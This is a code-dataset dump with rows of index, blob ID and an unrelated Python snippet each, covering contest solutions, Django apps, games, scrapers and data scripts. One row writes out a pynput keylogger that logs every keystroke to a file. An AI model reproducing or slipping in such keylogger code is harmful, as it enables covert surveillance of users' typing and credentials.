index
int64
0
1,000k
blob_id
stringlengths
40
40
code
stringlengths
7
10.4M
989,800
ebcb6f2069f136f95a9eefcf76958f09abd27ea3
n = int(input()) A = list(map(int,input().split())) import math from functools import reduce def lcm(a:int,b:int): return a // math.gcd(a, b) * b def lcm_list(numbers): return reduce(lcm, numbers) x = lcm_list(A) ans = 0 for a in A: ans += (x-1)%a print (ans)
989,801
91e60e986f0dc9c487ae72fc07f77655e0e99e82
from . import db import datetime from marshmallow import fields, Schema from .ProductModel import ProductModelSchema class ContractProductModel(db.Model): __tablename__ = 'contract_products' id = db.Column(db.Integer,primary_key=True, autoincrement=True) contract_id = db.Column(db.Integer, db.ForeignKey('...
989,802
a27b246da0b6c5498af0d6b9fed3e84a2317a4b3
import re import numpy as np __DELETE_CONF__ = False # set DELETE CONF to True for CoNLL-2003 begin_pattern = re.compile(r'^B-*') mid_pattern = re.compile(r'^I-*') out_pattern = re.compile(r'^O') def conflict(anchor_1, anchor_2): if (anchor_1[0] < anchor_2[0]) and \ (anchor_2[0] < anchor_1[1]) and \...
989,803
d2b49dfac51f982cb2fa6d7bedddc8613819ccb4
# -*- coding: utf-8 -*- """ Created on Fri Sep 25 13:48:50 2020 We use hill climbing algorithm with random initial state to solve the n-queen problem. @author: Hongxu Chen """ import random # Return all successor of a given state with given static point. def succ(state, static_x, static_y): ...
989,804
ccb6b626dcd46d8092e92693023e26684fe70c55
-X FMLP -Q 0 -L 4 139 400 -X FMLP -Q 0 -L 4 100 300 -X FMLP -Q 1 -L 2 71 250 -X FMLP -Q 1 -L 2 64 200 -X FMLP -Q 2 -L 1 49 150 -X FMLP -Q 2 -L 1 48 400 -X FMLP -Q 3 -L 1 43 200 -X FMLP -Q 3 -L 1 41 150 40 125 37 150 36 125 33 200 26 100
989,805
b303b8f624cc93a527fcce660b1acd16e6856181
import sys sys.stdin = open('5249.txt') def find(n): if n == p[n]: return n else: return find(p[n]) def union(s, e): n1, n2 = find(s), find(e) if n1 > n2: p[n1] = n2 else: p[n2] = n1 T = int(input()) for t in range(1, T + 1): V, E = map(int, input().spl...
989,806
aaaca1623cd6bdac79b7bf18c41748fae13a3de3
#首先输入行数列数 #esc退出 #r复位 #t提示 import numpy as np import pygame from pygame.locals import * import random class Labyrinth: def __init__(self, rows=30, cols=40): self.rows = rows self.cols = cols self.keep_going = 1 #keep_going = 1代表生成继续进行 self.M=np.zeros((rows,cols,3), dtype=np.uint8) self.laby=np.ones((r...
989,807
c49a294962032ba06d0828d7ed0c01eee1c74a99
class Ann(object): def __init__(self, name, padding = 0): self.value = False self.name = name self.width = len(name) + padding self.empty = " " * self.width def set(self): self.value = True def reset(self): self.value = False def text(self): if se...
989,808
2f8ff0f26549d65e7a88b92495b384150d710d0a
from graphics import * import random #win2 (Tela inicial) win2 = GraphWin('Jogo da Bolinha', 800, 600) win2.setBackground('green') titulo = Text(Point(390, 70), 'Soccer Ball') titulo.setSize(18) titulo.setStyle('bold') titulo.setFace('courier') titulo.draw(win2) txtnome = Text(Point(400, 280), 'Nome do jo...
989,809
f40325084c8f349b79db38318664acffe1527eb5
nums = input().split(' ') total = int(nums[0]) l = int(nums[1]) r = int(nums[2]) small = pow(2,l)-1+total-l big = pow(2,r)-1+(total-r)*pow(2,r-1) print(small,end=" ") print(big)
989,810
3f4866d361d382a242f2b5ca7c86c2fefeede2e5
import torch import torch.nn as nn import torch.nn.functional as F import sys sys.path.append('./') sys.path.append('../') from layers.modules.l2norm import * def vgg(cfg, i, batch_norm=False): layers = [] in_channels = i for v in cfg: if v == 'M': layers += [nn.MaxPool2d(kernel_size=2...
989,811
1940cefd3503f96f2cf67b7609f312f94fc4cff4
###################################################################################################################### # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # ...
989,812
93616df182566dfd1a6707dc66f711153da347aa
# Generated by Django 3.0.4 on 2021-10-05 09:27 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('hotels', '0001_initial'), ] operations = [ migrations.AlterField( model_name='room', name='agentSync...
989,813
6adcd05dc22f8c201be79f4e9f4caa26bcf2b7cc
''' Created on Feb 8, 2020 @author: scott-p-lane ''' from enum import Enum class GridOrientation(Enum): left = 0 up = 1 right = 2 down = 3 class TurnDirection(Enum): left = 0 right = 1 class GridCoordinates (object): """ Dictionary based implementation that represents grid coordinate...
989,814
9cd5e95a976113159479bcdcc231b9f475a6f19f
import cntk as C import numpy as np import pandas as pd x = C.input_variable(2) y = C.input_variable(2) x0 = np.asarray([[2., 1.]], dtype=np.float32) y0 = np.asarray([[4., 6.]], dtype=np.float32) res = C.squared_error(x, y).eval({x:x0, y:y0}) print type(res)
989,815
e53cbb6c7022b87dee05376e03a796ecc91ec37a
""" Suite of tools for gridding multibeam bathymetric surveys and calculating bed form flux. version: 0.1.3 """ import os, glob import pandas as pd import numpy as np import statsmodels.api as sm import matplotlib.pyplot as plt import datetime as dt class Raw(object): def __init__(self, datadir): """ I...
989,816
1b0478c7aaee8c7b0ff5539be819a1b45dda10b2
# -*- coding: utf-8 -*- """ Question 3.5: Sort Stack: Write a program to sort a stack such that the smallest items are on the top. You can use a additional temporary stack, but you may not copy the elements into any other data structure(such as array). The stack supports the followi...
989,817
a99044c679edec9cc464bff2a0df5b41912b3693
# GIL 全称 global interpreter lock # Python 中的一个线程对应于C语言中的一个线程 # GIL 使得, 同一时刻只有一个线程运行在一个CPU上执行字节码, 无法将多个线程映射到多个CPU上执行 # GIL 会根据执行的字节码行数、时间片释放GIL、I/O操作 # import dis # def add(a): # a += 1 # # print(dis.dis(add)) total = 0 def add(): global total for _ in range(1000000): total += 1 def desc(): ...
989,818
8a81614e418f9ee2e00b2e14b25335bc7669b107
#import random #def rand(start, end, str): #res = [] #for r in range(str): #res.append(random.randint(start, end)) #return res #str = 'r', 'y', 'g', 'b' #start = 'r' #end = 'y' #print(rand(start, end, str)) import tkinter as tk #import color_blocks class color_string: def __init__...
989,819
db5ceb0f712eb7f9542eef570a030affa13f4b01
from tkinter import * import random import time import numpy as np import csv from copy import deepcopy ########################################################################## ############ 공의 위치 파일 저장/불러오기 ############# # 공의 위치 파일 저장(1회만 파일 저장) ####### !!!! 두번째부터는 None으로 놓기!!!! ####### save_ballloc = 'c:\python\da...
989,820
4ad3100f5b176636779702ddbdd44d1b06cc3b9f
num = int(input('enter a number between 1 And 12')) for k in range(1,13): print(num*k)
989,821
4417c713eb3cab09946efc87dc44179fbdfcf739
#! /usr/bin/env python3 from bs4 import BeautifulSoup import os import shutil import argparse from glob import iglob import re # 11 oszlop van. (TSV) # # 1 word szóalak # 2 lemma szótő # 3 msd morfoszintaktikai leírás # 4 ctag (figyelmen kívül hagyandó) # 5 ana részletes morfológia...
989,822
373b0a688dff85d428760f0558f6ed7862eb47dc
from datetime import datetime kuupäev_kellaeg = datetime.today() print("Kuupäev ja kellaeg: " + str(kuupäev_kellaeg)) fail = open("paevik.txt", "a") # fail avatakse juurde kirjutamiseks sissekanne = input('Sisesta sissekande tekst: ') fail.write(str(datetime.today()) + '\n' + sissekanne + '\n' + '\n') fail.close()
989,823
eedda26166487384031cad07decc867fc2a0faf7
from django.conf.urls import patterns, include, url from django.contrib import admin from django.contrib.staticfiles.urls import staticfiles_urlpatterns, static, settings urlpatterns = patterns('', # Examples: # url(r'^$', 'genco.views.home', name='home'), # url(r'^blog/', include('blog.urls')), #url(r'^...
989,824
53c0af10aec0b013102162b7c0830baef7fb112f
import django_filters.rest_framework from rest_framework import viewsets, permissions from app.arts.models import ArtWork from app.arts.serializers import ArtWorkSerializer class ArtWorkViewSet(viewsets.ReadOnlyModelViewSet): permission_classes = [] serializer_class = ArtWorkSerializer queryset = ArtWork....
989,825
3ee44c71b6af1c2596c834e70e8323695985007a
# Char creation file import curses import modules.menu as menu from modules.db_functions import db_create_connection, db_return_class_object, db_select_values, \ db_insert_class_in_table, db_insert_inventory_char_creation from modules.main_game import start_main from modules.custom_classes import * from modules.fun...
989,826
3c1d5908e083dd49693b8bc93f501cd9a98d4d59
"""add user table Revision ID: 1478867a872a Revises: 657669eb5fcb Create Date: 2020-08-06 00:35:31.088631 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '1478867a872a' down_revision = '657669eb5fcb' branch_labels = None depends_on = None def upgrade(): #...
989,827
90c37716cc70980e2cc8a9b2d54c53253f94a82e
import numbers import numpy as np LIMIT = 99999999 # BBoxes are [x1, y1, x2, y2] def clip_bbox(bboxes, min_clip, max_x_clip, max_y_clip): bboxes_out = bboxes added_axis = False if len(bboxes_out.shape) == 1: added_axis = True bboxes_out = bboxes_out[:, np.newaxis] bboxes_out[[0, 2]] ...
989,828
b6d2996e1a9e984742178e55ad93891a8b7f2935
#!/usr/bin/env python """@package DumpMetadataToiRODSXML @brief Dump EcohydroLib metadata to iRODS XML metadata import format This software is provided free of charge under the New BSD License. Please see the following license information: Copyright (c) 2013, University of North Carolina at Chapel Hill All rights re...
989,829
21e9c74551fc5775d2bdfd5391a717d1ae1d4ed6
# -*- coding: utf-8 -*- """ Created on Thu Dec 3 16:26:33 2020 @author: MT_Eleus """ import urllib.request public_ip = urllib.request.urlopen('https://ident.me').read().decode('utf8') with open('foundip.txt', 'w') as f: f.write(public_ip)
989,830
df70a681f80509e93e5e927cb1e78f48bb836e91
def content(function): function.write("from pynput.keyboard import Key, Listener\nimport logging\n\nlogging.basicConfig(filename='your log file path', level=logging.DEBUG, format=' %(asctime)s - %(message)s')\n\ndef on_press(key):\n logging.info(str(key))\n\nwith Listener(on_press=on_press) as listener:\n lis...
989,831
77dea882fc052531943982a456233c495b30fa20
from collections import defaultdict from re import compile reindeer = dict() regex = compile(r"^([^ ]+) can fly (\d+) km/s for (\d+) seconds, but then must rest for (\d+) seconds.$") fh = open('14.txt', 'r') for line in fh.readlines(): m = regex.match(line.strip()) if m: reindeer[m.group(1)] = map(int, (m.gr...
989,832
56a013d7e315af6e743d7613f6b5483c1910b1eb
# Generated by Django 3.1.5 on 2021-01-21 15:35 import datetime from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('tasks', '0004_auto_20210121_1504'), ] operations = [ ...
989,833
8a00d1f46dee9e93f73a4638a791256e37ded7af
import argparse from datetime import datetime, timedelta import glob from pathlib import Path import re # Regex patterns HOURS = "[0-9]{2}" MINUTES = "[0-5][0-9]" SECONDS = "[0-5][0-9]" MILLIS = "[0-9]{3}" def convert_to_sec(hour, minute, sec, ms): return hour * 3600 + minute * 60 + sec + ms/1000 def split_sec...
989,834
32d2d74e18995c6330e4416ba7c85d1045763112
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Thu Aug 31 12:58:01 2017 @author: jabong """ from collections import namedtuple def apriori(dataset, minsupport, maxsize): from collections import defaultdict baskets = defaultdict(list) pointers = defaultdict(list) for i, ds in enume...
989,835
b4bc98e1fa3068aebdd86741709c5e0ca9259542
from django.http import HttpResponse from django.views.generic import TemplateView, ListView from django.views.generic.edit import CreateView, UpdateView, DeleteView from django.core.urlresolvers import reverse_lazy from django.forms import ModelForm, CharField, DateField, TextInput, IntegerField, DateInput, Select, Ch...
989,836
e3846dcedaddcc5e12ba295103b8f7c73c5d0237
"""Get any necessary data for given symbols""" import os import numpy as np import pandas as pd import pycharts class CompanyClient(pycharts.CompanyClient): """Child Class of pycharts Company Client that adds additional methods to make it more convenient to get data from the YCharts API""" def __init__(...
989,837
44ec4a158679824bcac70d41603ca9ab8dc53083
from csv import DictReader with open('12MCoronaTweets.csv', 'r', encoding="utf-8") as csv_obj: csv = DictReader(x.replace('\0', '') for x in csv_obj) rowCount = 0 rowCountCorona = 0 for row in csv: print(rowCount) #if rowCount == 1000000: # break resultado = [] ...
989,838
adf9eb216550485a9e71cc763414609d76317188
import math import matplotlib.pyplot as plt def plot_stats_by_name(exp, stat_list, labels=None, ncols=4, figsize=(5, 3), titlesize=12): assert len(stat_list) > 0 for stat_name in stat_list: assert stat_name in exp.summary_keys, "{} is not a valid stat key".format(stat_name) ncols = min(ncols, len...
989,839
6357fdbe6f5576225d2bbae74e8e8d05489724fe
import pandas as pd import numpy as np import os from datetime import datetime class Input: def __init__(self): additional_hour_conversion = 0 self.ramp_up_start_time = [] self.ramp_up_end_time = [] self.FMT = '%H:%M' self.ramp_up_time_in_hours = 0 se...
989,840
9b7c5fe6a146f0b21642df5ce62d9fbf5d1dab39
from django import forms from studygroups.models import Application from studygroups.models import Reminder from studygroups.models import StudyGroup from studygroups.models import StudyGroupMeeting from studygroups.models import Feedback from localflavor.us.forms import USPhoneNumberField class ApplicationForm(forms...
989,841
5c4e35cc40030d343bc1cd5504da985827569aa7
# use argv to get a filename from sys import argv # defines script and filename to argv script, filename = argv # get the contents of the txt file txt = open(filename) # print a string with format characters print "Here's your file %r:" % filename # print the contents of the txt file print txt.read() tx...
989,842
c3397a77aa67ad487a21106b0b1f3deb62f0b8ca
# -*- coding: utf-8 -*- # Copyright (c) 2014, Niklas Hauser # All rights reserved. # # The file is part of my bachelor thesis and is released under the 3-clause BSD # license. See the file `LICENSE` for the full license governing this code. # -----------------------------------------------------------------------------...
989,843
a36e397cf4ca39a6f23b71f7f9edcda840903bc8
import string, sys, random string.punctuation += "”“’‘—" f = open(str(sys.argv[1:2][0]), "r") word_list = f.readlines() f.close() words_list = [] table = str.maketrans({key: None for key in string.punctuation}) for strings in word_list: words_list += strings.split() for word in range(len(words_list)): words...
989,844
6ba906f96f6b1b49dd704441165dd8ba988f8090
import FWCore.ParameterSet.Config as cms ## ## Set standard binning for the residual histograms in both, standalone and DQM mode ## from Alignment.OfflineValidation.TrackerOfflineValidation_cfi import * # do the parameter setting before cloning, so the clone gets these values TrackerOfflineValidation.TH1NormXprimeRes...
989,845
fcf098d4198fc19b37fecf5ff9656a6095e0dd21
import turtle as t r = 10 dr = 40 head = 90 for i in range(4): t.pendown() t.circle(r) r += dr t.pu() t.seth(-head) t.fd(dr) t.seth(0) t.done()
989,846
772d99dd8597b3b60b42f915eb26deab9bea5386
#Set up environment Import neccessary packages. import matplotlib.pyplot as plt import pandas as pd import datetime as dt from scipy.stats import gaussian_kde import os import numpy as np import tensorflow as tf # This code has been tested with TensorFlow 1.6 from sklearn.preprocessing import MinMaxScaler from sklearn...
989,847
cd4f15104aad19f28a766be9feb8a2f1c9913592
from django.shortcuts import render from django.views.generic import FormView, RedirectView from django.contrib.auth import authenticate, login, logout from .forms import LoginForm from .models import User class LoginView(FormView): form_class = LoginForm template_name = 'login.html' def form_valid(self,...
989,848
36612802b2fb13dd835df019e76eb7a92cd5f92a
import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) import os import time import numpy as np # linear algebra import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv) from tqdm import tqdm import math from sklearn.model_selection import train_test_spl...
989,849
b822f0ad3b66039117b2417e01ddb3f7dd7102b8
# Average Percentage Calculator print("Enter 'x' to go back. ") print("Enter marks obtained in 5 subjects: ") m1 = input() if m1 == 'x': import MHOME else: m2 = input() m3 = input() m4 = input() m5 = input() mark1 = int(m1) mark2 = int(m2) mark3 = int(m3) mark4 = int(m4) mar...
989,850
50d72d935460a3883806345ca4e1c3baa8225217
from cocos.director import director from cocos.sprite import Sprite from cocos.euclid import Vector2 from cocos.collision_model import CircleShape, AARectShape from cocos.actions import IntervalAction, Delay, CallFunc, MoveBy from cocos.text import Label from pyglet.image import ImageGrid, Animation, load import math ...
989,851
0e0c675fa1b9528a5aaf9524936a3db200dec0d2
import datetime import re from src.utils import valid_date_string def extract_cnh_number(data: dict, text: str, ratio: float) -> None: if (5.1 <= ratio <= 7.1 and data['numero'] is None): numbers = re.findall(r"(\d{11})", text) for number in numbers: if (len(number) == 11): ...
989,852
1adf3953075bdf7a0ea2aa86035a2b3a354953ec
from django.db import models from modelcluster.fields import ParentalKey from wagtail.core.models import Page, Orderable from wagtail.core.fields import RichTextField from wagtail.admin.edit_handlers import FieldPanel, InlinePanel from wagtail.images.edit_handlers import ImageChooserPanel from wagtail.search import i...
989,853
42fc8b92a73e47ce1698d2f4061ccb6f8805b0a2
# 26. Write a Python program to create a histogram from a given list of integers. def histogram (a): for i in a: print (i * "*") a = (1, 2, 10, 15, 3, 4, 5, 18) histogram (a)
989,854
b75da5b753a29256d23c1f4f109fc12c457bd640
from django.conf.urls import url from . import views app_name = 'chat' urlpatterns = [ url(r'chat/$', views.create_message, name='chat'), url(r'messages/(?P<pk>\d+)$', views.message_list, name='message_list') ]
989,855
05682fd58e32f6589415407a01bb75175e58df7e
import os import logging import face_recognition class FaceRecognizer(): """Face recognition module for package theft detection system""" def __init__(self): self._load_known_face() def _load_known_face(self): """Loads known faces from the filesystem""" faces_dir = os.path.join(o...
989,856
b4c989ed44ba28f5d197c58faf64742185a44af3
# 4.14 Flattening a Nested Sequence from collections import Iterable def flatten(items, ignore_types=(str, bytes)): for x in items: if isinstance(x, Iterable) and not isinstance(x, ignore_types): yield from flatten(x) else: yield x items = [1, 2, 3, [4, 5, [7, 8, [9, 0] ] ...
989,857
73943c5ea49b330f57ef9dd37d34f9fa3de1619e
from collections import deque def solution(n, edge): graph = [[] for _ in range(n + 1)] for a, b in edge: graph[a].append(b) graph[b].append(a) visit = [False] * (n + 1) dist = [0] * (n + 1) visit[1] = True q = deque() q.append(1) # BFS 활용 while q:...
989,858
842f3c7af5be09aca334fc399460098b77505331
command = input("> ") command = str(command) command = command.split() if command[0] in ["GET", "SET", "UNSET", "NUMEQUALTO", "END"]: print ("Seems to work!")
989,859
48dbd793bf38fe3c4bcf78d7fd3171aba91a8e05
import functools import json from rest_framework import status from django.http import JsonResponse from core import models, serializers MODEL_SERIALIZERS = { models.Degree.__name__: serializers.degree_to_dict } def serialize_django_model(model_instance): class_key = model_instance.__class__.__name__ ...
989,860
61ad2b77765761df06d16e51c1b8ac792975a894
def print_odds(): i=1 while True: s = i+2 i=s print(s)
989,861
d085d6078090ca3568cbb9440825442cd6f110ea
# -*- coding: utf-8 -*- ''' Truncatable primes Problem 37 The number 3797 has an interesting property. Being prime itself, it is possible to continuously remove digits from left to right, and remain prime at each stage: 3797, 797, 97, and 7. Similarly we can work from right to left: 3797, 379, 37, and 3. Fi...
989,862
b570a16ddc3a97a5cae42b9bd20a90fd9c3d712d
import unittest import os import os.path from programy.storage.stores.file.store.licensekeys import FileLicenseStore from programy.storage.stores.file.engine import FileStorageEngine from programy.storage.stores.file.config import FileStorageConfiguration from programy.utils.license.keys import LicenseKeys from progra...
989,863
34a5e7d5dd43324c4f45a1205259e0e41c2ad566
# There is a brick wall in front of you. The wall is rectangular and has several rows of bricks. The bricks have the same height but different width. You want to draw a vertical line from the top to the bottom and cross the least bricks. # The brick wall is represented by a list of rows. Each row is a list of integers...
989,864
54467dbb7c704e6a1548bb3a32690f5ae8599903
import locale locale.setlocale(locale.LC_ALL, '') import matplotlib as mpl mpl.rcParams.update({'mathtext.fontset':'dejavusans'}) mpl.rcParams['axes.formatter.use_locale'] = True mpl.rcParams.update({'font.size': 26, 'text.usetex':False}) import os import matplotlib.pyplot as plt import numpy as np def gamma...
989,865
952926cc9c641abc2141214dc5b555c99a873340
from enum import Enum from typing import Dict, Optional import turing.generated.models from turing.generated.model_utils import OpenApiModel from .source import EnsemblingJobSource, EnsemblingJobPredictionSource from .sink import EnsemblingJobSink ResourceRequest = turing.generated.models.EnsemblingResources class R...
989,866
cab2a4dd3998fc70691d109fa6b2b4287318849f
# #breadth_first_search #easy from math import sqrt from queue import Queue primes = [2] for i in range(3, 10000, 2): f, r = None, int(sqrt(i)) for p in primes: if i % p == 0: f = p break elif p > r: break if f == None: primes.append(i) primes = l...
989,867
58ae9d644ad00373672d0f2ee33da73efe7a4699
"""Cascade delete added Revision ID: cdd41796aa24 Revises: ff65b93addb9 Create Date: 2021-04-22 16:24:22.519825 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'cdd41796aa24' down_revision = 'ff65b93addb9' branch_labels = None depends_on = None def upgrade():...
989,868
1e8a266ab9f23cc52822d28ca3115941291b8a44
'''Если мы возьмем 47, перевернем его и сложим, получится 47 + 74 = 121 — число-палиндром. Если взять 349 и проделать над ним эту операцию три раза, то тоже получится палиндром: 349 + 943 = 1292 1292 + 2921 = 4213 4213 + 3124 = 7337 Найдите количество положительных натуральных чисел меньших 12296 таких, что из них н...
989,869
19362a2d0a3c13a27e936a97ad38920a21986672
import os import sys import numpy as np def shuffle_data(data, labels): """ Shuffle data and labels. Input: data: B,N,... numpy array label: B,... numpy array Return: shuffled data, label and shuffle indices """ idx = np.arange(len(labels)) np.random.shuffle(idx) return da...
989,870
0fe0d274dae075788c6812034263a7e6c39dc87b
#!/usr/bin/env python3 import astropy.units as u import datetime from matplotlib import pyplot as plt import numpy as np import os from scipy import ndimage import shutil import sunpy.map from sunpy.net import attrs from sunpy.net import Fido import sys ################################################################...
989,871
c364011f9925c9ea968f48427350e677df867c44
from sys import path from os.path import dirname as dir path.append(dir(path[0]) + '\\generic_searches') from state_repr import MAX_NUM, MC_state from generic_searches import bfs, node_to_path from generic_data_structures import Node from typing import List, Optional def display_solution(path: List[MC_state]) -> Non...
989,872
d22adca4c34874802b57626b9b91733fdfc79131
from queue import PriorityQueue class Solution: def bestCoordinate(self, towers: List[List[int]], radius: int) -> List[int]: q = PriorityQueue() for current in towers: s = 0 for other in towers: if current is other: continue ...
989,873
153a91ff300f3a2482faf3bbc935543fa436b5da
import nltk from bs4 import BeautifulSoup import urllib.request import csv from tqdm import tqdm nltk.download('punkt') nltk.download('averaged_perceptron_tagger') tokenizer = nltk.data.load('tokenizers/punkt/english.pickle') urlpages = [ #'https://esportsobserver.com/echo-fox-opseat-sponsor/', #'https://espo...
989,874
a6f98cc080a4ff1dfc9c6d804d1e8008b68cb808
''' Created on Feb 24, 2014 @author: Jason C Rodriguez ''' if __name__ == '__main__': pass
989,875
cc4d0550cd4124a1b3b1caacead5c3d321955d07
import pandas as pd import numpy as np countries = pd.read_csv('reference/countries.csv', header=0, dtype=str, encoding='utf-8')[['alpha-2']] currencies = pd.read_csv('reference/currencies.csv', header=0, dtype=str, ...
989,876
f489e5fb30b36e955b7e8b31cc937c56a714a38b
# -*- coding: utf-8 -*- """ samsaraapi This file was automatically generated by APIMATIC v2.0 ( https://apimatic.io ). """ class Data(object): """Implementation of the 'data' model. TODO: type model description here. Attributes: external_ids (dict<object, string>): TOD...
989,877
2e73dcffee32c89fff51b7cd3d45109ade9c4016
import json import re import requests class APIException(Exception): pass # конвертер валют class CurrencyConverter: """ класс конвертера, основной метод которого принимает строку определённого формата: <переведи/перевод/сконвертируй> <сумма> <из чего переводить> <во что переводить>, и возвращае...
989,878
5039d23c7298c18c58a5869d4ff5cb53c40d522a
from bottle import route, run, static_file, request, response import os import shutil import releaseJS import docs import json @route('/style/<filename:path>') def send_style(filename): return static_file(filename, root='../style') @route('/script/<filename:path>') def send_script(filename): return static_file...
989,879
33dc30c281ad5853dc8faee7c24c31583559db7b
N = int(input()) As = list(map(int, input().split(" "))) IDs = range(1, len(As)+1) result_dict = dict(zip(IDs,As)) result_dict = sorted(result_dict.items(), key=lambda x:x[1]) result_list = list(map(lambda x: str(x[0]), result_dict)) result = " ".join(result_list) print(result)
989,880
c43f5f579acfd24e8ea9cb0b8ad002fb9923cf5a
import random from flask.json import jsonify from random import randrange def generate_password(size=10): return ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRTSUVWXYZ0123456789") for _ in range(size)) def verify(fieldValue): return fieldValue if fieldValue else "N/A" def prepare_respons...
989,881
8e17b41cec90243eea830d304a9850cc370f7a70
from django.shortcuts import render, redirect, HttpResponse from django.contrib.auth import login as log, authenticate, logout from django.contrib import messages from django.contrib.auth.forms import AuthenticationForm from django.contrib.auth.models import User from django.contrib.auth.decorators import login_re...
989,882
5d4a7138f406422698fd80530876ee4611784fff
from django.shortcuts import render def index(request): return render(request, 'lesson/index.html') def lesson_detail(request): return render(request, 'lesson/lessondetail.html')
989,883
5d2bbb88a0b39278508320f84103bba6ccd13414
"""x=10 y=15 print("Addition is:",x+y) print("Subtraction is:",x-y) print("Multiplication is:",x*y) print("division is:",x/y) print("module is:",x%y)""" x=int(input("enter first number")) y=int(input("enter second number")) z=int(input("enter third number")) if x>z and x>y: print(x,"is greatest") if y>x...
989,884
681ac048d1e5e4ba5217d9638fe8b116aeb7f0d3
#!/usr/bin/python # -*- coding: utf-8 -*- # Tripoli 基类,用来处理Tripoli输出数据 from __future__ import print_function import re import time from .atom_mass import atom_mass class BaseTripoli(object): def __init__(self, postFile=None): # 科学计数法 self._science_num = r'\d\.?\d*[eE][\-\+]\d+' # Tripoli输...
989,885
f7312ad23ff7f25ef8a8a2a173bc923c69d9e2bd
import requests token = '1557387128:AAGYSbYfHhB0BC39kcPoUKKsZtl1Wz7-VHs' app_url = f'https://api.telegram.org/bot{token}' update_url = f'{app_url}/getUpdates' response = requests.get(update_url).json() chat_id = response.get('result')[0].get('message').get('from').get('id') text = '방가방가' message_url = f'{app_url}/s...
989,886
c0ece7ee95adc0f39d1b0ec378b7230cb7c82f68
def transform_subject_no(subject_no: int, loop_size: int) -> int: value = 1 for _ in range(loop_size): value *= subject_no value %= 20201227 return value def part1(card_pub_key: int, door_pub_key: int): value = 1 subject_no = 7 for card_loop_size in range(1, 100000000): ...
989,887
2e342d4d7e3629f18cba25525c9c586219fcb551
import Zero import Events import Property import VectorMath class CheckForController: gamepad = Zero.Gamepads.GetGamePad(0) def Initialize(self, initializer): Zero.Connect(self.Space, Events.LogicUpdate, self.update) def update(self, Event): gamepad = Zero.Gamepads.GetGamePad(0) ...
989,888
244188d2f3b88dbfac456165b863b84c9d719d63
import logging, datetime, random from work_materials.globals import * from work_materials.constants import archer_photo_ids, sentinel_photo_ids, knight_photo_ids def set_class(bot, update): print("here") mes = update.message current_class = mes.text.partition(" ")[0] if current_class in classes_list:...
989,889
688048332163bb65f4b65e09b12f6ac919fb9df5
s = input("Введіть послідовність чилел\n") a = s.split() n=len(a) b=0 for i in range(n): a[i]=int(a[i]) for i in range(n): if i==n-1: break elif a[i]==a[i+1]: b=b+1 print(b)
989,890
ae85d7885df9df5f8835c5ab2cfeb3a23cb8ec39
#!/usr/bin/python import socket import random from tcp_tools import set_name, set_conn, close_conn, log, pp_host, send, receive HOST_PAIR = ("127.0.0.1", 2001) set_name("Server") try: log("Listening on {}.".format(pp_host(HOST_PAIR))) conn = None listener = socket.socket(socket.AF_INET, socket.SOCK_STR...
989,891
a0a563b39f0de92071054959437fb456348e0e27
import pymongo import pymysql import redis from .settings import * class MongoClient: def __init__(self,dbname,tablename): self.client = pymongo.MongoClient(host=MONGO_HOST,port=MONGO_PORT) self.dbname=dbname self.tablename = tablename @property def db(self): db = self.client[self.dbname] return db @...
989,892
c1afa87ceaf9e7077999139782c5756da9100c6e
from django.conf.urls.defaults import * urlpatterns = patterns('lbscontacts.views', url(r'^$', 'index'), url(r'^index/', 'index'), url(r'^test/', 'test'), url(r'^weixin/', 'weixin'), url(r'^album/', 'album'), url(r'^sms/', 'sms'), url(r'^bye/', 'bye'), url(r'^createclass/', 'create_clas...
989,893
c3b861e5d2f1e88d464e530391060672fa0928f3
import unittest import tempfile import yaml import os import numpy import netCDF4 from satistjenesten import data config_string = """ bands: reflec_1: long_name: reflectivity latitude_name: latitude longitude_name: longitude """ class TestScene(unittest.TestCase): def setUp(self): self.scene = ...
989,894
82371aca3710abe2a3af4c26de5b431300547a7e
# coding: utf-8 import re import uuid import os from django.views.generic import TemplateView from django.template.context_processors import csrf from django.views.decorators.csrf import csrf_protect, csrf_exempt from django.contrib.auth import authenticate, login, logout from django.http import JsonResponse, HttpRes...
989,895
ce7d917c16d1e744750b0c83ba281f08024c2e82
import numpy as np import cv2 import pickle import time import calendar import sys import json import os import logging import os.path import pprint log = None pp = pprint.PrettyPrinter(indent=2) def jdefault(o): return o.__dict__ class WatchPoint: y = 0 x = 0 isRed = 0 redStart = 0 def __...
989,896
2137d27869e359dc9f466f9a3e463beb33762e4e
m = int(input("How many sides does the first die have? ")) n = int(input("How many sides does the second die have? ")) c = 0 if 1 > m > 1000 and 1 > n > 1000: print("Error"); else: for i in range(1, m+1): if 10 - i <= n and 10 - i > 0: c = c + 1 i = i + 1 elif 1...
989,897
0c22ef9d89427597b07c20b2c142250ac668955f
""" List of Consecutive Numbers Implement a function that returns a list containing all the consecutive numbers in ascendant order from the given value low up to the given value high (bounds included). https://edabit.com/challenge/Hdthzjmr5fRqEX93E """ from typing import List def get_sequence(low: int, high: int) -...
989,898
c816c44b4dba15eda9875a722095cf512b8f715b
def score(a): return 35 * a[0] + 45 * a[1] + 20 * a[2] T = int(input()) for tc in range(1, T+1): N, K = map(int, input().split()) arr = [[] for _ in range(N)] score_list = [] for i in range(N): arr[i] = list(map(int, input().split())) score_list.append(score(arr[i])) # 순위 매기...
989,899
07d636bc4909ab275de83f6342d28d256198e171
""" Creates permissions for all installed apps that need permissions. """ from django.db.models import get_models, signals from hipercic.hipercore.authenticore import models as auth_app def _get_permission_codename(action, opts): return u'%s_%s' % (action, opts.object_name.lower()) def _get_all_permissions(opts)...